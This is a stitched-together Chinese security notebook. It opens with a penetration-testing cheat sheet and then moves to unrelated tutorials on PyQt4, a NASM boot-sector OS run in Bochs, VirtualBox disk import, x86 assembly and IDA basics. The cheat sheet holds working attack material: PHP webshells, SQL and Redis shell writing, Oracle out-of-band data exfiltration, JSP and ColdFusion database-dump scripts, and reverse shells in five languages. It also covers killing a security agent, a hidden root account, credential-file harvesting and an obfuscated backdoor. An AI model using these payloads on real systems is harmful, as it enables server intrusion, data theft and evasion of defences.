PHP相关

1
2
3
4
5
6
7
8
9
10
11
<?php copy("http://x.x.x.x/shell.txt", "d:\www\shell.php"); ?>

<?php include "$_GET['_']"; ?>

<?php assert($_POST["1"]);?>

<?php
$url = "http://x.x.x.x/shell.txt";
$contents = file_get_contents($url);
echo $contents;
?>

Mysql数据库
phpmyadmin爆路径

1
http://url/phpMyAdmin/libraries/select_lang.lib.php

SQL语句导出shell:

1
select "<?php eval($_POST['1']);?>" into outfile 'C:\www\shell.php';

Redis数据库
写shell:

1
2
3
4
config set dir D:\www
config set dbfilename shell.php
set webshell "<?php eval($_POST[x]);?>"
save

Oracle数据库
查数据库ip

1
select sys_context('userenv','ip_address') from dual

通过外连回传数据

1
SELECT UTL_HTTP.request('http://target.com/getdata?data='||TABLE_NAME) FROM USER_TABLES WHERE ROWNUM<=1

查询所有表

1
SELECT * FROM ALL_TABLES

查询当前用户表

1
select table_name from user_tables;

查询所有表按大小排序

1
2
SELECT TABLE_NAME,NUM_ROWS FROM ALL_TABLES order by NUM_ROWS desc
select table_name,NUM_ROWS from user_tables order by NUM_ROWS desc

查询表前十条

1
select  *   from  users  where  rownum < 10

分页查询 2000000 到 4000000

1
SELECT * FROM (SELECT e.*,ROWNUM rn FROM (select * from user ) e WHERE ROWNUM <= 4000000) WHERE rn > 2000000

查询当前编码

1
select userenv('language') from dual;

命令行执行

1
export NLS_LANG="american_america.AL32UTF8"

拖库脚本

JSP1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="java.io.*,java.lang.*,java.sql.*"%>
<%
Class.forName("oracle.jdbc.driver.OracleDriver");
Connection conn = DriverManager.getConnection("jdbc:oracle:thin:@172.0.0.1:1521:orabi", "admin", "admin");
File f = new File("/webapps/ROOT/css/t1.txt");
BufferedWriter bw = new BufferedWriter(new FileWriter(f));
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
ResultSet rs=stmt.executeQuery("select * from member where rownum > 2000000");
ResultSetMetaData rsmd = rs.getMetaData();
int numberOfColumns = rsmd.getColumnCount();
for(int i=1;i<numberOfColumns+1;i++){
bw.write(rsmd.getColumnName(i)+",");
}
while (rs.next()){
for(int i=1;i<numberOfColumns+1;i++){
bw.write(rs.getString(i)+",");
}
bw.newLine();
bw.flush();
}
out.print(rs);
%>

JSP2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="java.io.*,java.lang.*,java.sql.*"%>
<%
Class.forName("oracle.jdbc.driver.OracleDriver");
Connection conn = DriverManager.getConnection("jdbc:oracle:thin:@127.0.0.1:1521", "admin", "password");
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String html="";
File file = new File("/tmp/data.txt");
BufferedReader br = new BufferedReader(new FileReader(file));
String line;
while ((line = br.readLine()) != null) {
html=html+"<h3>"+line+":</h3><table border=1><tr>";
ResultSet rs=stmt.executeQuery("select * from "+line+" where rownum < 100");
ResultSetMetaData rsmd = rs.getMetaData();
int numberOfColumns = rsmd.getColumnCount();
for(int i=1;i<numberOfColumns+1;i++){
html=html+"<th>"+rsmd.getColumnName(i)+"</th>";
}
html+="</tr>";
while (rs.next()){
html+="<tr>";
for(int i=1;i<numberOfColumns+1;i++){
html=html+"<td>"+rs.getString(i)+"</td>";
}
html+="</tr>";
}
rs.close();
html+="<tr></table>";
}
File f = new File("/tmp/info.css");
BufferedWriter bw = new BufferedWriter(new FileWriter(f));
bw.write(html);
bw.close();
br.close();
stmt.close();
conn.close();
%>

ColdFusion

1
2
3
4
5
6
7
8
9
10
11
12
13
<CFSET USERNAME="user">
<CFSET PASSWORD="pass">
<CFSET DATABASE="ya_db">
<CFTRY>
<CFQUERY NAME="DATA" DATASOURCE=#DATABASE# USERNAME=#USERNAME# PASSWORD=#PASSWORD#>
SELECT * FROM MEMBER
</CFQUERY>
<CFCATCH Type="Any"></CFCATCH>
</CFTRY>
<CFSAVECONTENT variable="Dump_DATA">
<CFDUMP var="#DATA#" EXPAND="YES" FORMAT="TEXT">
</CFSAVECONTENT>
<cffile action="write" output="#Dump_DATA#" FILE="C:\\RECYCLER\\#USERNAME#_DATA.txt">

反弹shell
bash

1
bash -i >& /dev/tcp/1.1.1.1/1234 0>&1
1
rm -f /tmp/p; mknod /tmp/p p && telnet 1.1.1.1 1234 0/tmp/p

ruby

1
ruby -rsocket -e'f=TCPSocket.open("1.1.1.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

perl

1
2
3
4
perl -e 'use Socket;$i="1.1.1.1";
$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python

1
2
3
4
5
6
7
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("1.1.1.1",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

php

1
php -r '$sock=fsockopen("1.1.1.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Windows取消共享文件夹安全警告

1
2
@echo off
Reg add HKCU\Software\Microsoft\Windows\CurrentVersion\PolicIEs\Associations /v LowRiskFileTypes /t REG_SZ /d .exe;.reg;.msi;.bat;.cmd;.com;.vbs;.hta;.scr;.pif;.js;.lnk; /f

kill安全狗3.x

1
ntsd -c q -pn SafeDogGuardCenter.exe

其他
python Simple HTTP服务:

1
python -m SimpleHTTPServer 

Linux相关技巧
压缩目录

1
2
3
zip  -r  root.zip  /root/*
tar -czvf root.tar.gz /root/
tar -cvf user/tmp/ooouser.tar user/ --exclude=image --exclude= --exclude *.jpg --exclude *.gif --exclude *.zip --exclude *.bmp --exclude *.eps --exclude *.psd

添加用户并设置密码

1
useradd -p `openssl passwd -1 -salt 'lsof' admin` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/lsof lsof

收集所有.sh .pl .py .conf .cnf .ini .*history .pass (/usr/share目录里面的除外) 并打包成zip

1
find / \! -path “/usr/share/*” -regex “.*\.sh$\|.*\.pl$\|.*\.py$\|.*\.conf$\|.*\.cnf$\|.*\.ini$\|.*\/\..*history$\|.*\/\..*pass.*” -print|zip pack.zip -@

array_push 后门

1
array_map("ass\x65rt",(array)$_REQUEST['array']);

开启3389端口

1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

环境:
Windows 10
Python 2.7.10

0x01 安装PyQt4
在这个页面下载,注意选对版本。
https://riverbankcomputing.com/software/pyqt/download
我选择的版本是 PyQt4-4.11.4-gpl-Py2.7-Qt4.8.7-x64.exe

0x02 编写测试脚本

1
2
3
4
5
6
7
8
9
import sys
from PyQt4 import QtGui

app = QtGui.QApplication(sys.argv)
widget = QtGui.QWidget()
widget.resize(250, 150)
widget.setWindowTitle('PyQt')
widget.show()
sys.exit(app.exec_())

如果成功运行并弹出一个空白的窗口,说明PyQt4已经安装上了。

0x03 使用PyQt4的QtWebKit实现解析Dom

待续。

转载自 http://www.tsingfun.com/html/2015/dev_0804/hello_os_word_my_first_os.html

首先阐述下程序运行的基本原理:计算机CPU只执行二进制指令,我们使用的开发语言开发出的程序最终由相应的编译器编译为二进制指令,二进制中包含程序相关的数据、代码指令(用我们最常见的公式描述就是:程序=数据+算法)。CPU读取相应的指令、数据后开始执行,执行后的结果输出到外部设备,如屏幕、磁盘等。整个过程中,CPU发挥最为核心的作用,与其他设备一起完成程序的执行、输出。

OS本身也是程序,它的运行也是如此,开机后从指定地址处(0x7c00),开始执行指令。先看看本节例子最终运行效果:

编译运行环境:
nasm:Inter x86汇编编译工具,用户将我们的汇编代码编译为二进制。
(下载地址 http://www.tsingfun.com/html/2015/soft_0804/nasm_asm.html)
Bochs:运行os的虚拟机工具,模拟加载我们生成的软盘映像,并运行os。
(下载地址 http://www.tsingfun.com/html/2015/soft_0804/Bochs_Lightweight_VirtualMachine.html)

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
;--------------------------------------------------------------
; 平凡OS(Pf OS) 一个最简单的OS
; Author : tsingfun.com
;--------------------------------------------------------------

; FAT12引导扇区
ORG 0x7c00 ;引导开始地址,固定的,主板BIOS决定,本条指令只是申明,不占字节(有兴趣的可以单独编译这条指令,然后查看二进制,文件0k)
JMP _START ;CPU执行的第一条指令,就是跳转到_START地址处(这里是标签,实际编译后_START是有一个相对地址的)
TIMES 3-($-$$) NOP ;NOP:一个机器周期。$:当前地址,$$:首地址。因为以上信息必须占3个字节,所以不足的部分用nop指令填充,
;具体nop占用几个字节请读者使用二进制查看工具自行验证。

DB "PFOSBEST" ; 标识(公司、品牌等)8个字节
DW 512 ; 每扇区字节数
DB 1 ; 每簇扇区数
DW 1 ; Boot内容占几个扇区
DB 2 ; 共有多少FAT表
DW 224 ; 根目录文件数最大值
DW 2880 ; 扇区总数
DB 0xf0 ; 介质描述符
DW 9 ; 每FAT扇区数
DW 18 ; 每磁道扇区数
DW 2 ; 磁头数(面数)
DD 0 ; 隐藏扇区数
DD 2880 ; 若上面“扇区总数”为0,则这个值记录扇区总数
DB 0,0,0x29 ; 中断13的驱动器号;未使用;拓展引导标记
DD 0xffffffff ; 卷序列号
DB "PFOS v1.0.0" ; 卷标(11个字节)
DB "FAT12 " ; 文件系统类型(8个字节)
;---------------------------------------------------------------------
; 448个字节,引导代码、数据及其他填充字符
TIMES 18 DB 0

_START:
MOV AX, 0 ;AX:累加寄存器,CPU内置的16位寄存器,最为常用,可以用于存储运行的中间结果,此处清零
MOV SI, MSG ;SI:(source index)源变址寄存器,常用来存储待操作的数据的首地址,此处指向数据区的字符串
_LOOP: ;循环指令开始
MOV AL, [SI] ;[]取地址中的内容,AL是AX的低8位,所以取8bit,即1字节,字符串的ASCII。
ADD SI, 1 ;字符串往后移动一个字节
CMP AL, 0 ;判断当前取出的ASCII是否是0,
JE _END ;JE:Equal则Jmp,等于零表示字符串显示完了,结束。
MOV AH, 0x0e ;调用系统10h中断显示ASCII字母,AH,BX指定显示模式及参数(详见:http://www.tsingfun.com/html/2015/dev_0804/570.html)
MOV BX, 15
INT 0x10
JMP _LOOP ;继续下一个字符的显示
_END:
JMP $ ;跳到当前的地址,当然就陷入无限循环啦,此处为了让程序停在此处。

;数据区,就是待输出的字符串信息
MSG DB 0x0a, "----------------------------------------------", 0x0d, 0x0a, \
"| Hello, OS World! |", 0x0d, 0x0a, \
"----------------------------------------------", 0x0d, 0x0a, 0x0

TIMES 510-($-$$) DB 0
DW 0xaa55 ; 结束标志
;----------------------------------------------------------------------

; FAT数据区
DB 0xf0, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00
TIMES 4600 DB 0
DB 0xf0, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00
TIMES 1469432 DB 0

其中,主要的步骤代码中都有详尽的注释,如有任何问题,请移步至论坛《深入OS》板块发帖讨论。

编译执行过程:
打开dos窗口,进入源码所在目录,执行命令nasm boot.asm -o pfos.img:

同目录下生成一个”pfos.img”软盘映像文件,接下来只需要把它装载到虚拟机运行即可,当然有条件的话可以实际写入老式的软盘用真机运行,结果是一样的。

同目录下新建一个 pfos.bxrc Bochs配置文件,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#how much memory the emulated machine will have
megs:4

#filename of ROM images
romimage:file=$BXSHARE\BIOS-bochs-latest,address=Oxf0000
vgaromimage: file=$BXSHARE\VGABIOS-elpin-2.40

#what disk images will be used
floppya:1_44="pfos.IMG",status=inserted

#Choose the boot disk
boot:a

#where do we send log messages?
#log:bochsout.txt

双击“pfos.bxrc”启动Bochs运行即可启动我们自己写的os了。
源码下载:http://www.tsingfun.com/uploadfile/2016/0628/hello os world.zip

接下来解释一下运行原理:

首先,软盘大小是1.44M(这个是固定的),所以我们在程序中指定它为1,474,560 字节,除了程序本身的指令、数据外,不足的部分全部补零。

TIMES 1469432 DB 0 就是此处开始写1469432个字节的0。

软盘采用的是FAT12文件格式,我们现在的常见的文件格式有FAT32、NTFS、EXT3等,FAT12是早期的一种文件格式。文件格式是文件格式化存储的一种算法,比如我们要将一个文件存储到软盘(磁盘)上,有些人可能会想我直接从地址0开始存储,直到结束,那么文件名、文件大小、创建时间等其他信息怎么存?紧接着后面继续存储么?那该给各部分分配多少字节空间?先不说后续查找文件的效率,这种存储方法无章可循会完全失控,是不行的方案。

文件格式化算法就解决了此类问题,而且兼顾文件的高效率查找。基本原理就是给软盘(磁盘)分区:FAT区、目录区、数据区,存储文件时先存储文件基本信息到目录区,然后文件的数据按照一定格式存储到数据区,目录区中有数据区中文件数据的地址。

这里只简单介绍一下FAT12格式,后续篇章会深入解析每个字节代表的含义。

我们来看看我们生成的映像里面到底有什么东西?这时我们需要用到二进制查看工具WinHex,点此下载 http://www.tsingfun.com/html/2015/soft_0804/WinHex.html

以上看到的是二进制静态代码,实际运行中各指令的地址都是动态变化的,下来一起借助Bochs的debug功能来一探究竟。
我们双击“pfos.bxrc”默认是以运行模式启动Bochs,实际上我们应该启动bochsdbg.exe,因此写个简单的批处理脚本启动它吧,如下:

1
2
3
4
5
6
7
8
9
@echo off

SET BXSHARE=C:\Program Files (x86)\Bochs-2.5

if %PROCESSOR_ARCHITECTURE% == x86 (
SET BXSHARE=C:\Program Files\Bochs-2.4.6
)

"%BXSHARE%"\bochsdbg -q -f "pfos.bxrc"

双击脚本,启动debug模式,如下:

Bochs常用的debug命令如下:

1
2
3
4
5
6
7
8
9
10
11
12
b 0x...   断点命令,指定地址处调试
info break 显示当前断点信息
c 继续执行
s 步入执行
n 单步执行
info cpu 查看cpu寄存器(可分别执行 r/fp/sreg/creg)
print-stack 打印堆栈
xp /长度 地址 显示地址处内容(xp:物理地址,x:线性地址)
u 起始地址 结束地址 反汇编一段代码
trace on 反汇编执行的每条指令
trace-reg on 每执行一条指令都打印一下cpu信息
exit 退出调试

大家有兴趣的话可以调试下,然后看看每步骤寄存器值的变化。

总结:本篇主要是让大家对操作系统有个整体概念上的认识,揭开os神秘的面纱,从底层调试到运行,每个过程都真真切切展现在大家面前。至于汇编指令、地址寻址暂时不懂的话,也不要紧,后续章节会继续作详细阐述,力求使大家在不断的运行、调试过程中逐渐熟悉并掌握汇编及计算机底层技术。

VmWare默认的镜像格式是.vmdk格式的,VirtualBox则默认是.vdi格式的。其实这在VirtualBox新建虚拟机的过程中是可选的。

导入.vmdk格式的镜像到VirtualBox只需要新建一个虚拟机,并且不创建虚拟硬盘。如下图:

无视警告,继续:

创建好之后,在设置里面把.vmdk格式的虚拟硬盘添加进去:

这样就可以了。

如果遇到windows虚拟机起不开的情况,尝试更改下下面这个选项,启用I/O APIC试试。

相关学习资源

二进制安全相关工具和教程站点

内容体系

  • 基本概念
  • IA-32处理器体系结构
  • 汇编语言基础
  • 数据传送、寻址和算术运算
  • 过程
  • 条件处理
  • 整数算术指令
  • 高级过程
  • 字符串和数组
  • 结构和宏
  • 32位Windows变成
  • 高级语言结构
  • 16位MS-DOS程序设计
  • 磁盘基础知识
  • BIOS程序设计
  • 高级MS-DOS程序设计
  • 高级主题

汇编和二进制基础知识

  • CPU指令的基本单位

    • 1 byte = 8 bit 0~155
    • 1 word = 2 byte 0~65535
    • 1 double word = 2 word 0~4294967295
    • 1 kilobyte = 1024 byte
    • 1 megabyte = 1024 kbyte
  • 总线

    • 数据总线
    • 控制总线
    • 地址总线
  • 地址空间

    • 32位寄存器可以使用0-2^32-1,可对4GB内存进行寻址
  • 寻址方式

    • 段基址*10H+段内偏移地址,形成20位地址
    • 段基址是16的倍数,长度最大不超过64K
  • 寄存器(80386处理器中的寄存器分为8组,每组宽度为32位)

    • 通用寄存器
      • EAX: 累加器 在乘法和除法指令中被自动使用
        • AX(低16位) AH(高8位) AL(低8位)
      • EBX: 基址寄存器
        • BX BH BL
      • ECX: 计数器 循环计数器
        • CX CH CL
      • EDX: 数据寄存器
        • DX DH DL
      • ESI: 源变址寄存器
        • SI
      • EDI: 目的变址寄存器
        • DI
      • EBP: 扩展基址指针寄存器 由高级语言用来引用函数参数和局部变量
        • BP
      • ESP: 栈指针寄存器
        • SP
    • 段寄存器
      • CS:代码段(Code Segment)
      • DS:数据段(Data Segment)
      • ES:附加数据段(Extra Segment)
      • SS:堆栈段(Stack Segment)
      • FS:附加段
      • GS 附加段
    • 指令寄存器
      • EIP 指令指针寄存器,低16位为IP(8086),它存储的是下一条要执行指令的地址。
    • 标志寄存器
      • IOPL(I/O Privilege Level): I/O特权级字段,宽度为2bit,它指定了I/O指令的特权级。如果当前的特权级别在数值上小于或等于IOPL,那么I/O指令可执行。否则,将发生一个保护性异常。
      • NT(Nested Task): 控制中断返回指令IRET,它宽度为1位。NT=0,用堆栈中保存的值恢复EFLAGS,CS和EIP从而实现中断返回;NT=1,则通过任务切换实现中断返回。
      • RF(Restart Flag): 重启标志,它的宽度是1位。它主要控制是否接受调试故障。RF=0接受,RF=1忽略。如果你的程序每一条指令都被成功执行,那么RF会被清0。而当接受到一个非调试故障时,处理器置RF=1。
      • VM(Virtual Machine): 虚拟8086模式(用软件来模拟8086的模式,所以也称虚拟机)。VM=0,处理器工作在一般的保护模式下;VM=1,工作在V8086模式下。
      • PSW(Program Flag)程序状态字寄存器,是一个16位寄存器,由条件码标志(flag)和控制标志构成
        • CF(Carry Flag): 进位标志位,由CLC,STC两标志位来控制,在无符号算数运算的结果无法容纳于目的操作数中时被设置
        • PF(Parity Flag): 奇偶标志位
        • AF(Assistant Flag): 辅助进位标志位
        • ZF(Zero Flag): 零标志位
        • SF(Singal Flag): 符号标志位
        • IF(Interrupt Flag): 中断允许标志位,由CLI,STI两条指令来控制
        • DF(Direction Flag): 向量标志位,由CLD,STD两条指令来控制
        • OF(Overflow Flag): 溢出标志位
    • 系统地址寄存器
    • 控制寄存器
    • 调试寄存器
    • 测试寄存器

PSW寄存器详解

15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0
OF DF IF TF SF ZF AF PF CF
标志位 说明
OF(Overflow Flag)溢出标志 溢出时为1,否则置0
SF(Sign Flag)符号标志 结果为负时置1,否则置0
ZF(Zero Flag)零标志 运算结果为0时ZF位置1,否则置0
CF(Carry Flag)进位标志 进位时置1,否则置0
AF(Auxiliary carry Flag) 辅助进位标志,记录运算时第3位(半个字节)产生的进位置。有进位时1,否则置0
PF(Parity Flag)奇偶标志 结果操作数中1的个数为偶数时置1,否则置0
DF(Direction Flag)方向标志 在串处理指令中控制信息的方向
if(Interrupt Flag)中断标志
TF(Trap Flag)陷阱标志

汇编指令

  • 整数

    • d 十进制
    • b 二进制
    • q/o 八进制
    • h 十六进制
    • r 编码实数
    • t 十进制(可选)
    • y 二进制(可选)
  • 整数表达式优先级

      1. ()
      1. +,- 单目加减
      1. *,/
      1. MOD 取模
      1. +,- 加减
  • 数据传送

    • 算术运算/逻辑运算
    • 移位
    • 控制转移
    • 串操作
    • 高级语言支持
    • 条件字节设定
    • 位操作
    • 处理器控制
    • 保护方式
  • 通用数据传送

    • 累加器专用传送
    • 地址传送
    • 标志传送
  • 伪指令

    • .data 标识包含变量的区域
    • .code 标识程序中包含指令的区域
    • func PROC PROC标识了过程的开始,func可以是任何名字
  • 代码标号

    1
    2
    3
    target:
    mov ax,bx
    jmp target
  • 数据标号

    1
    first BYTE 10
  • 注释

    1
    2
    3
    4
        ;单行注释
    COMMENT ;
    多行注释
    ;
1
2
3
4
5
6
7
8
9
mov        赋值
add 两个值相加
sub 相减
mul 相乘
inc 加1
dec 减1
neg 求相反数(转换成对应的二进制补码,补码可通过将目的操作数的所有数据位取反加1)
jmp 跳转到一个新位置
call 调用一个过程
1
2
3
4
5
6
7
8
9
10
11
12
byte    8位无符号整数
sbyte 8位有符号整数
word 16位无符号整数
sword 16位有符号整数
dword 32位无符号整数
sdword 64位有符号整数
fword 48位整数
qword 64位整数
tbyte 80位整数
real4 32位IEEE短实数
real8 64位IEEE长实数
real10 80位IEEE拓展精度实数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
.data
list BYTE 10,20,30,40

;在内存中的形态:
; 0000:10
; 0001:20
; 0002:30
; 0004:50

list BYTE 10,20,30,40
BYTE 50,60,70,80
BYTE 81,82,83,84

;定义字符串
str1 BYTE 'This is a test', 0 ;
str2 BYTE "This is a test ",0dh,0ah, ;CRLF
BYTE "This is a test ",0dh,0ah,0 ;

dup
BYTE 20 DUP(0) ;20字节,全部用0填充
BYTE 4 DUP("stack") ;20字节,"STACKSTACKSTACKSTACK"

word1 WORD 65535 ;最大无符号字
word2 WORD -32768 ;最小无符号字
word3 WORD ? ;未初始化的字

push 压栈
pop 出栈
MOV 赋值
MOVZX 零拓展传送
MOVSX 符号拓展传送

1
2
3
4
5
MOV DL,90H        ;DL=90H
MOVSX AX,DL ;AX=FF90H
MOVZX AX,DL ;AX=0090H
MOVSX ESI,DL ;ESI=FFFFFF90H
MOVZX ESI,DL ;ESI=00000090H

CBW 将字节数据扩展成字,符号位扩展到AH中
CWD 将字数据扩展成双字,符号位放到DX中

1
2
3
MOV AL,70H    ;
CBW ;AX=0070(2byte,1word)
CWD ;DX=0000,AX=0070(4byte,2word)

XCHG 交换两个操作数的数据,支持8位、16位、32位
PUSH 入栈,支持立即数入栈
PUSHA 将8个16位通用寄存器全部入栈,顺序为AX,CX,DX,BX,SP,BP,SI,DI,然后SP指针寄存减16,内容为PUSHA指令执行前的内容
PUSHAD 将8个32位通用寄存器全部入栈,顺序为EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI,然后ESP的内容是执行指令PUSHAD之前的内容
POP 出栈
POPA 8个16位通用寄存器全部出栈,堆栈指针寄存器不是堆栈中弹出的内容,而是加16之后得到
POPAD 8个32位通用寄存器全部出栈,ESP的内容是执行指令PUSHAD之前的内容
LEA 取有效地址

1
2
3
MOV EAX, 11111111h
MOV EBX, 11111111h
LEA ECX, [EAX+EBX] ;ECX = 22222222h

LDS 装入指针,目的寄存器必须是16位或32位的通用寄存器,操作数必须是内存单元,不能是立即数

1
2
LDS EAX, [1000H];将偏移地址为1000,1001h这两个字节单元的内容送给DS,将1002,1003,1004,1005这四个字节单元的内容送往EAX
LDS AX,[1000H];这表明将偏移地址为1000,1001H这两个字节单元的内容送给段寄存器DS,将偏移地址1002,1003H两个字节单元的内容送往EAX

LES 同LDS,不过段寄存器是ES
LFS 同LDS,不过段寄存器是FS
LGS 同LDS,不过段寄存器是GS
LSS 同LDS,不过段寄存器是SS

LAHF 将标志寄存器的低8位送至AH中,包括SF,ZF,ZF,PF,CF。
SAHF 与LAHF的过程恰好相反
PUSHF 将标志寄存器的EFLAGS低16位内容入栈
PUSHFD 将标志寄存器EFLAGS的内容入栈
POPF 将栈顶的一个字弹出,并将它送到标志寄存器EFLAGS的低16位
POPFD 将栈顶的两个字弹出,并将它送到标志寄存器EFLAGS

OFFSET 取当前内存的地址

1
offset Array

EBP EBP指向栈底
ESP 指向栈区域的栈顶位置
EIP 指向下一个将会被执行的指令

EAX = [AX]+[AH+AL]

db: 声明 1 byte(字节)变量
dw: 声明 2 byte(字节)变量 = 1 word
dd: 声明 4 byte(字节)变量 = 2 word = 1 double word

1
2
3
4
mov eax ebx
mov eax 333h
mov eax [ebx]
mov eax [ebx+66h]

和C语言的对比:

a = b[0x66] => mov eax [ebx+66h]

  • 数据交换

    1
    2
    3
    4
    5
    lea edx, b            ;将edx指向b
    mov [edx], ebx ;赋值a = b
    mov ebx, a ;赋值ebx = a
    mov b,ebx ;赋值a = b
    mov ecx, offset a ;将ecx指向a
  • 条件跳转:
    cmp 比较结果
    jx 检查条件x,有大于、小于、等于三个状态

je 相等时跳转
jne 不相等时跳转
jb、ja 比较无符号数然后决定是否跳转
jl、jg 比较有符号数然后决定是否跳转
jbe 在一个无符号数小于或者等于另一个无符号数时发生跳转
jmp 无条件跳转

1
2
3
4
5
cmp EAX,EBX        ;比较EAX和EBX
jz xxx ;如果相等就跳转到xxx
cafebabe
cmp [ECX], EDX ;比较*ECX和EDX的值
JAE yyy ;如果*ECX>=EDX,就跳转到yyy
  • 函数调用:
    1
    2
    3
    push offset, LibName    ;将字符串偏移量压入堆栈
    call LoadLibrary ;进行函数调用
    mov h,EAX ;将EAX中的值传给变量h

PE、ELF基础知识

  • PE文件结构:
    .text 二进制代码
    .data 初始化的数据块
    .idata 动态链接库等外来函数与文件
    .rsrc 资源

文件偏移地址 = 虚拟内存地址-装载基址-节偏移
= RVA - 节偏移

  • 文件幻数
    Windows PE File
    1
    4d 5a                            MZ
    Jpeg Image File
    1
    ff d8 ff e0 00 10 4a 46 49 46    JFIF
    Java .class file
    1
    ca fe ba be

基本工具

  • PE Tools 分析Windows进程和可执行文件
  • PEiD 识别构建PE文件所使用的编译器
  • nm 检查中间目标文件(拓展名为.o的文件),可以显示符号、函数等信息
    动态链接二进制文件,未定义的符号在C语言共享库中定义
  • ldd 链接器(静态链接、动态链接)
    静态链接:链接器将应用程序的目标文件和所需的库文件组合起来,可执行文件更大
    动态链接:不需要复制库,方便维护,可执行文件更小
    1
    2
    gcc -o test test.c
    gcc -o test test.c --static
    编译好之后可以通过file参数查看类型
    1
    2
    ldd ./test    
    #查看库依赖(mac:otool -L windows:dumpbin)
    `objdump 节头部 程序每节的摘要信息
    专用头部 程序内存分布信息,还有运行时加载器所需的其他信息
    调试信息 程序中的调试信息
    符号信息 类似nm的方式转储符号表信息
    反汇编代码清单 对文件中标记为代码的部分执行线性扫描反汇编
  • dumpbin 从PE文件提取符号、导入函数名、导出函数名和反汇编代码
  • c++filt nm test | grep demo |c++filt
    跟C++函数重载有关的操作,显示重载函数的不同形态
  • strings 提取文件中的字符串内容 strings test
    strings -t 可显示字符串文件的偏移量信息
    strings -e 可搜索更广泛的字符

反汇编器:

1
2
3
msfpayload linux/x86/shell_findport CPORT=4444 R >test
ls -l test
ndisasm -u test

分析网络数据包中可能包含shellcode的计算机网络攻击时,可以采用流式反汇编器来反汇编数据包中包含shellcode的部分

栈帧: 程序运行时栈中分配的内存块,专门用于特定的函数调用。
因为每个递归函数调用都有自己的栈帧,使得递归成为可能。

  • 函数调用步骤:
    1.调用方将被调用方所需的参数放到该函数所采用的调用约定制定的位置
    2.调用方将控制权转交给被调用方
    3.如有必要,为被调用的函数配置栈指针
    4.被调用方为局部变量分配空间
    5.被调用函数执行操作
    6.函数完成操作后,为局部变量保留的栈空间被释放。(逆向执行第4步中的操作)
    7.还原寄存器值
    8.被调用函数将控制权返还给调用方
    9.删除栈中的参数

  • 调用约定: 通过调用函数将函数参数存入栈中,调用函数必须存储被调用函数所需的参数。
    调用约定指定调用方放置函数所需参数的具体位置。
    调用约定可能要求将参数放置在制定的寄存器、程序栈或者寄存器和栈中。
    c调用规定。
    cdecl调用约定规定:
    调用方按从右到左的顺序将函数参数放入栈中。
    在被调用的函数完成操作时,调用方负责从栈中清除参数。


ida基本知识

ida目录结构

  • cfg 配置文件
  • idc 包含内置脚本语言IDC所需的核心文件
  • ids 包含一些符号文件
  • loaders 在加载过程中用于识别和解析PE或ELF等一直格式的IDA拓展
  • plugins 包含专门为IDA提供的附加功能
  • procs 包含已安装的IDA版本所支持的处理器模块
  • sig 包含IDA在各种模式匹配操作中利用的现有代码的签名
  • til 包含一些类型库信息

ida基本操作

  • HKEY_CURRENT_USER\Software\Hex-Rays\IDA IDA注册表项

ida数据库文件

要分析的文件为main.exe
会在目录中生成

  • main.id0 二叉树形式的数据库
  • main.id1 包含描述每个程序字节的标记
  • main.nam 包含于IDA的Names窗口中显示的给定程序位置有关的索引信息
  • main.til til文件用于存储与一个给定数据库的本地类型定义有关的信息
  • main.idb ida数据库文件

IDA创建数据库

从磁盘加载文件,解析文件头信息,创建包含代码或数据的程序块
编译器识别:IDA尝试确定用于创建输入文件的编译器,如果能确定,就可以扫描该编译器使用的样板代码序列
函数参数和局部变量识别:
数据类型信息:

ida桌面

  • IDA View-A
  • Hex View-A Hex View可以右键编辑并提交
  • Hex View-B
  • String Window
  • Names Window F:常规函数
  • L:库函数,通过签名匹配算法来识别
  • I:导入的名称,通常为共享库导入的函数名称。
  • C:命名代码
  • D:数据。已命名数据的位置通常表示全局变量。
  • A:字符串数据。
  • sub_xxxx:地址xxxx处的子例程
  • loc_xxxx:地址xxxx出的e指令
  • byte_xxx:位置xxx处的8位数据
  • word_xxx:位置xxx处的16位数据
  • dword_xx:位置xx处的32位数据
  • unk_xxxx:位置xxxx处的大小未知的数据

ida热键

  • IDA>View:
  • View>Open Subviews 恢复需要的窗口
  • ESC 后退(跳转到上一个)
  • Ctrl+Enter 前进(跳转到下一个)
  • G (GoTo) Jump To Address

加深理解-汇编指令、长度和十六进制的关系

地址 指令 16进制 指令长度
.text:00401010 push ebp 55 1byte
.text:00401011 mov ebp, esp 8B EC 2byte
.text:00401013 sub esp, 44h 83 EC 44 3byte
.text:00401016 push ebx 53 1byte

SP Flash Tool v3.1224.0.100
MT6516,MT6573,MT6573,MT6575,MT6575,MT6577,
SP Flash Tool v3.1332.0.187
